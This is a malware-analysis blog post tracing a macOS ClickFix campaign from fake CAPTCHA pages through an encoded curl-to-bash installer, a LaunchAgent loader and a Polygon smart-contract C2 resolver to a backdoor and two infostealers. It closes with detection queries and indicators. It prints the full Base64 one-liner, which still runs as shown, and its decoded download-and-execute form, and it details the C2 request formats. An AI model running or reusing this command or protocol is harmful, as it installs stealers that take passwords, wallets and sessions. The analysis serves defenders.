- Malware Analysis
- Threat Intelligence
- Reverse Engineering
Bazinga: From a Fake CAPTCHA to a macOS Backdoor with a Polygon-Based C2 Resolver
A fake verification page reached through bazinga.biz delivered a ClickFix command that installed a persistent macOS backdoor. The loader resolved its command server from a Polygon smart contract. Live re-queries of the same campaign token showed a stable backdoor and stealers that changed SHA-256 every 15 minutes.
Giovanni Braccini
Researcher at Beelzebub Labs
TL;DR
- Repeated visits to bazinga.biz produced advertising pages or fake verification screens branded CloudKey, SentinelGate, and Meridian. The observed verification pages delivered the same ClickFix command.
- That command downloaded
update.sh, which installed a persistent LaunchAgent and an obfuscated AppleScript loader. - The loader does not contain a fixed C2 domain. It reads the current hostname from Polygon contract
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0via a read-onlyeth_call. On September 14 the contract returnedjse8x92s[.]me. It still did on September 16. - The server delivered a backdoor and two infostealers. Together they steal a validated macOS password, browser sessions, Keychain data, cryptocurrency wallets, Telegram data, notes, and local files.
- Re-fetching the same campaign token every 15 minutes for 90 minutes left
bmoduleand theledgerstub unchanged.smoduleandlmodulereturned a new SHA-256 on every successful poll. - Blocking today’s C2 hostname is not enough. Hunt the contract, the LaunchAgent, the
txid=POST body, and the fallback IP62.60.226[.]50. Do not treat stealer file hashes as durable indicators.
From Bazinga to ClickFix
I visited bazinga.biz after hearing the address mentioned in The Big Bang Theory. The browser redirected to a page branded CloudKey with an “I’m not a robot” checkbox. Clicking it revealed four steps: open Spotlight, launch Terminal, paste, and press Return.
Later visits produced advertising pages or verification screens branded SentinelGate and Meridian. Meridian showed a tracking-style reference 34YS-455D. The designs changed. After the checkbox click, each verification page delivered the same initial shell command.
Each of those panels tells the visitor to paste into Terminal. The shared command is:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9icmVhZC5hcmtvbWV4ZGVzYXJyb2xsb3MuY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)Decoded:
curl -s 'hxxps://bread[.]arkomexdesarrollos[.]com/update.sh' | bashSHA-256 of the submitted one-liner: 3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60.
Caronte Reconstructed the Chain
I submitted the command to Caronte. From that single line it downloaded update.sh, decoded the AppleScript layers, extracted the LaunchAgent, resolved the live command server on Polygon, and followed the modules returned by the backdoor.
The chain is linear until the backdoor starts polling. From there the server selects a task and returns the corresponding module.
From the Command to Persistence
The retrieved script is 17,813 bytes. It decodes an AppleScript installer and executes it with osascript. The installer writes and loads this LaunchAgent:
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plistRunAtLoad starts it at login and KeepAlive restarts it when it exits. Its program arguments contain a 12,408-character Base64 loader that decodes into another AppleScript. Most strings inside that stage are assembled character by character to frustrate simple text searches.
Polygon Resolves the Command Server
The loader does not contain a fixed command-server domain. It asks a Polygon smart contract for the current hostname:
Network: Polygon
Contract: 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Getter selector: 0x2686ecea
Setter selector: 0xd75d1ba6It sends the read-only eth_call through four public RPC services: polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, and tenderly.rpc.polygon.community. These are legitimate providers used here as a configuration lookup.
On September 14 the contract returned an encoded string that decoded to:
6a736538783932732e6d65 -> jse8x92s[.]meThe contract is a directory. Scripts and stolen data still travel through ordinary web servers, but the operator can change the hostname stored on Polygon without replacing the loader. Guardio Labs named this class of trick EtherHiding in 2023. The same Polygon contract and getter appear in earlier macOS ClickFix research by NetbyteSEC, PHK, and Have I Been Squatted.
The Backdoor
After resolving the hostname, the loader requests bmodule with this capture’s campaign token:
txid=962d87b1d1f7791ede110c2fd8061dc7&bmoduleThe token is a 32-hex customer or build identifier. Other public analyses of the same contract used different values in the same txid= slot, including 8a4e280e1159833ede425a1306c2efe5.
The server returned a 32,934-byte AppleScript backdoor. It collects the username and hardware UUID, resolves the C2 again, and displays a fake System Preferences password prompt:
Please enter password for continue:
It checks the entered password with dscl . authonly and repeats the dialog until validation succeeds. The password is stored in ~/.passphrase. The campaign token is stored in ~/.txid. The backdoor also runs tccutil reset All, clearing existing privacy decisions so macOS can prompt again.
After enrollment, a 60-second loop requests tasks using the host identifiers and the campaign token. The dispatcher maps the operator’s task word to a module fetch:
| Task | Module | Result in this capture |
|---|---|---|
runloader | smodule | 206,681-byte credential, wallet, and file stealer |
runlight | lmodule | Stealer identifying itself as Essential macOS Stealer, NITRO2 |
replacer | ledger | 34-byte script that redirects shell output to /dev/null |
openshell | shell | Empty HTTP body |
The task names are stable. The bytes behind smodule and lmodule are not. Other captures of this kit have served a Ledger Wallet phishing disk image for ledger and a Mach-O shell agent for openshell. In this capture, and in every live re-query on September 16, those two fetches returned a stub and an empty body.
Two Infostealers
smodule is a heavily obfuscated AppleScript infostealer. It collects:
- the username, macOS version, hardware UUID, and public IP address;
- the password previously stored in
~/.passphrase; - browser passwords, cookies, and login databases;
~/Library/Keychains/login.keychain-db;- data from more than 50 cryptocurrency wallet applications;
- Apple Notes, Telegram Desktop data, and selected Desktop and Documents files.
It stages the data under /tmp/ccd01d90608c2dcfce644c41502a7691789402688/ and uploads it with curl to hxxps://jse8x92s[.]me/upload.php. If that fails, it uses hxxp://62.60.226[.]50/upload.php.
lmodule is a second infostealer from the same loop. It contains these build markers:
Essential macOS Stealer
Build: NITRO2It targets browser profiles, Keychain material, Telegram data, desktop wallets, and more than 170 wallet and password-manager browser extensions. It stages the collection in /tmp, creates an archive with ditto, and uses the same primary and fallback upload endpoints.
NetbyteSEC associated this modular architecture with Atomic macOS Stealer (AMOS). Live Caronte analysis of both smodule and lmodule recovered the same Essential macOS Stealer / NITRO2 banner. Public tracking of the same Polygon kit also uses the name Phexia. Caronte assessed a probable Phexia relationship from the backdoor’s behavior.
How the C2 Talks
The rotating hostname is only a pointer. Every stage after Polygon is ordinary HTTP to / on that host, with application/x-www-form-urlencoded bodies. There is no custom binary framing and no extra encryption on the fallback path.
| Direction | Request | Response |
|---|---|---|
| Loader → C2 | POST / txid=<32 hex>&bmodule | AppleScript backdoor, piped into osascript |
| Backdoor → C2 poll | POST / uuid=<IOPlatformUUID>&username=<user>&txid=<txid>&task every 60 seconds | A task word such as runloader, runlight, replacer, or openshell |
| Task → module | POST / txid=<txid>&smodule or &lmodule or &ledger, or uuid=&username=&txid=&shell | Stealer AppleScript, a stub, or a shell helper |
| Stealer → C2 | POST /upload.php multipart archive | Empty HTTP 200 in this check |
| Fallback | Same /upload.php on hxxp://62.60.226[.]50 | Same empty 200 |
The txid value is a campaign or customer token, not a victim identifier. This capture used 962d87b1d1f7791ede110c2fd8061dc7. Public write-ups of the same contract used 8a4e280e1159833ede425a1306c2efe5 and c8a845e30830c48f753d01aa38927dc0. That is a lower bound on distinct panel customers, not on infected Macs. Host identity on the wire is the hardware UUID plus the local username. Those values are not listed by an unauthenticated request.
Earlier analysis of this kit also documented a Ledger phishing page at /ledger/index.php?txid= and a WebSocket shell agent at ws://62.60.226[.]50:1337/ws/agent. On 16 September 2026, https://jse8x92s[.]me/ledger/index.php returned 404 and TCP/1337 on the fallback IP was closed.
The bot protocol does not expose a victim roster. GET / on the live hostname and on 62.60.226[.]50 returned an empty 200 text/plain body. GET /upload.php returned an empty 200. There is no public index, so a victim count cannot be read from the C2 without operator credentials.
Live: the stealers rotate, the backdoor does not
On 16 September 2026 I re-requested the four module selectors on txid=962d87b1d1f7791ede110c2fd8061dc7 against POST / on jse8x92s[.]me, every 15 minutes for 90 minutes. The Polygon getter still returned that hostname. The campaign token still received a backdoor.
| Selector | Over seven polls, 12:23–13:53 UTC |
|---|---|
bmodule | Identical 32,934-byte AppleScript. SHA-256 a9383cea… matches this capture. |
ledger | Identical 34-byte stub. SHA-256 ef94799c… matches this capture. |
smodule | A new SHA-256 on every successful poll. Bodies were 203–207 KB. At 13:38 UTC the C2 returned an empty HTTP 200, then a 205 KB body at 13:53. |
lmodule | A new SHA-256 on every poll. Bodies were 168–175 KB. Never empty. |
The hostname on Polygon is the slow pointer. It had not moved since the September 10 write, and it did not move during this window. The stealers moved anyway. Six distinct non-empty smodule bodies and seven distinct lmodule bodies arrived without a contract update and without a change to bmodule.
That is packing, not a C2 migration. Static analysis of the live bodies recovered the same NITRO2 banner, the same txid, and the same upload endpoints; every string is rebuilt from character id concatenations, so the SHA-256 changes while the family does not. A hash of smodule from the original Caronte capture was already a different artifact by the first live poll the next day. Hunt the txid= POST, not yesterday’s stealer SHA-256.
The C2 History on Polygon
Polygon’s public transaction history exposes earlier hostnames written to the resolver contract. Values around this capture:
| Transaction time, UTC | Decoded value |
|---|---|
| 2026-07-21 06:22:06 | 67sixcebeh[.]surf |
| 2026-07-31 16:28:45 | stv4ec5[.]shop |
| 2026-08-12 11:42:16 | vg5sgxv[.]lol |
| 2026-08-31 17:11:34 | machine628[.]baby |
| 2026-09-05 23:06:12 | nsi8kw1r[.]lol |
| 2026-09-07 09:50:46 | d9mjs[.]sbs |
| 2026-09-10 19:16:34 | jse8x92s[.]me |
The September 10 transaction is a nested redeemDelegations call. The hostname sits in inner setter calldata. The sender is wallet 0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3, which issues setServerURL (0xd75d1ba6). The contract read on September 14 returned the same jse8x92s[.]me value.
This table is an excerpt of the later rotations, not the full on-chain history.
A DNS and HTTP check on 16 September 2026 showed how disposable those names are. Of twenty operational hostnames written to the contract since May, seventeen no longer resolve. Three still have DNS:
| Host | Resolution on 16 September | HTTP |
|---|---|---|
jse8x92s[.]me | Cloudflare 188.114.96[.]7 / 188.114.97[.]7 | Empty 200 on / and /upload.php. TLS certificate issued 9 September by Google Trust Services, one day before the on-chain write. |
smdh7[.]surf | Same Cloudflare anycast addresses | Cloudflare 403. Certificate still valid, origin no longer serving the panel. |
bduwih8[.]pro | Cloudflare 104.21.61[.]3 | Cloudflare 403. |
The durable node is not a domain. 62.60.226[.]50 still answers on TCP/80 with Apache/2.4.58 (Ubuntu). WHOIS places the address in 62.60.226.0/24, netname FEMOITSOLUTIONS-DE-RENTNET, AS214351 FEMO IT SOLUTIONS LIMITED, geolocated in Frankfurt. TCP/443 and TCP/1337 were closed. Stealers in this family POST loot to that IP when the current Cloudflare hostname fails, so burning jse8x92s[.]me does not burn the dropzone.
Detection and Response
High-value detections combine several actions from the chain:
| Hunt for | Why it matters |
|---|---|
A user LaunchAgent named com. plus 16 random lowercase letters, with a long Base64 argument invoking bash or osascript | Finds the persistent loader |
curl output piped into bash, sh, or osascript | Finds the download-and-execute transitions |
eth_call to 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 or selector 0x2686ecea from a shell or AppleScript process | Finds the Polygon resolver |
HTTP POST of txid= plus bmodule / smodule / lmodule / task / upload.php to a newly resolved host, or to 62.60.226[.]50 | Finds live C2 even when stealer bytes change every poll |
A stable bmodule hash with rotating smodule / lmodule hashes on the same txid | Distinguishes a fixed backdoor from perishable stealers |
Repeated dscl . authonly, a password dialog, and creation of ~/.passphrase | Finds the password theft flow |
Browser and Keychain reads followed by ditto under /tmp and a curl upload | Finds collection and exfiltration |
osquery for the two dotfiles this backdoor writes:
SELECT path FROM file
WHERE path LIKE '/Users/%/.passphrase'
OR path LIKE '/Users/%/.txid';If these behaviors appear on a Mac, isolate it, unload and remove the LaunchAgent, revoke browser sessions, and rotate credentials from a clean device. Review wallet application data and move exposed funds to newly generated keys. Block the current C2 and upload endpoints, then hunt for the contract address and the operator wallet because the hostname can change.
Indicators of Compromise
| Indicator | Role |
|---|---|
bazinga[.]biz | Observed entry domain |
bread[.]arkomexdesarrollos[.]com/update.sh | Initial payload URL |
jse8x92s[.]me | C2 hostname on 14 and 16 September |
hxxps://jse8x92s[.]me/upload.php | Primary upload endpoint |
hxxp://62.60.226[.]50/upload.php | Fallback upload endpoint |
62.60.226[.]50 | Origin / fallback host, AS214351 |
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 | Polygon resolver contract |
0x2686ecea | Getter selector |
0xd75d1ba6 | Setter selector (setServerURL) |
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 | Operator wallet writing hostnames |
polygon.drpc.org | Abused public Polygon RPC |
polygon.publicnode.com | Abused public Polygon RPC |
polygon-mainnet.gateway.tatum.io | Abused public Polygon RPC |
tenderly.rpc.polygon.community | Abused public Polygon RPC |
962d87b1d1f7791ede110c2fd8061dc7 | Campaign token |
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist | Persistence path |
~/.passphrase / ~/.txid | Password and campaign-token files |
The four RPC hosts are legitimate services. The signal is a non-browser process calling eth_call against that contract.
File Hashes
| Functional role | SHA-256 |
|---|---|
| Submitted ClickFix command | 3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60 |
update.sh | 79126547a08a785eb408f9a89660b7954ffc8ec124d8c6173851cf6609b35b28 |
| Persistence installer | 31dc215220db6e5564730c1c909865ae1301e44c7ecc33973901401b0793144d |
| LaunchAgent loader | c236a4db85d709e89184752f65102349f6a272befd57741cf35b9236028daf08 |
| Separately extracted resolver | e5634ec22a0a2db056eff1999b2d31511f8eb01c37ed57dd10f1b70f476e96e0 |
Backdoor module (bmodule), still served on 16 September | a9383cea53d6c6c3e4a764d23fbd0c1ccf7c010f20624860fed85faf8de71136 |
smodule from the 14 September capture | b0536db10a710b8627ac701d2c28d8717412a51c4093145031d8c8217c014496 |
lmodule from the 14 September capture | ed943056669a5e2cd6f92ff47f1855ca10d66ec6e50ea22076c7b5c7aaacb170 |
ledger stub, still served on 16 September | ef94799c12f00235920699106e27d9a45595549845724f3c9dede02aa5b96a06 |
smodule and lmodule hashes from the live window are omitted. Each successful 15-minute poll produced a different digest. Those values are evidence of rotation, not indicators that will still match tomorrow.
Conclusion
A novelty domain led to a fake verification page, but the command behind it opened a complete infection chain: persistence at login, Polygon as a changeable C2 directory, theft of a validated macOS password, and a task loop that delivers two infostealers.
The hostname in the directory will move. During 90 minutes on 16 September it did not. The stealers did, on every poll, while the backdoor and the ledger stub stayed put. Hunt the contract, the LaunchAgent, and the txid= POST body. A hash of today’s smodule is already stale.
References
- Guardio Labs: “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts — original name of the technique, 2023.
- NetbyteSEC: Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding — prior analysis of the same resolver contract and related modular architecture.
- PHK: macOS ClickFix Loads Its C2 From a Polygon Smart Contract — prior independent resolver and operator-wallet research.
- Have I Been Squatted: From typosquatting to macOS backdoor via ClickFix and blockchain C2 — prior analysis of the same module API, including other
ledgerandopenshellpayloads. - Ethereum JSON-RPC documentation: eth_call — semantics of the read-only call.
- Polygon Blockscout: September 10 transaction — nested setter calldata containing
jse8x92s[.]me.